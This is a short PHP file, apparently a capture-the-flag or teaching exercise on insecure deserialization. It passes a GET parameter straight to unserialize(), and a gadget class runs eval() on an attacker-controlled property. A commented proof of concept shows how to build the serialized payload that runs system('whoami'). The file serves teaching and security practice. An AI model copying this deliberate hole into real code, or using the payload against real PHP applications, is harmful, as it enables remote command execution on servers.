<?php 
header
('Content-Type: text/html; charset=GBK');
class  
test{
    private 
$index;
    
    function 
__construct()
    {
        
$this->index=new index();
    }
    function 
__destruct()
    {
        
$this->index->hello();
    }
}
class 
index{
    public function 
hello(){
        echo 
'hello ~~';
    }
}
class 
execute{
    public  
$test;
    function 
hello(){
        eval(
$this->test);
    }
}
if(isset(
$_GET['test'])){
    @
unserialize($_GET['test']);
    
highlight_file(__FILE__);
}
else{
    
$a=new test;
}

// poc如下
// class  test{
//     private $index;
//     function __construct()
//     {
//         $this->index=new execute();
//     }
// }

// class execute{
//     public  $test="system('whoami');";
// }
// $a=new test();
// echo urlencode(serialize($a));
highlight_file(__FILE__);
?>
hello ~~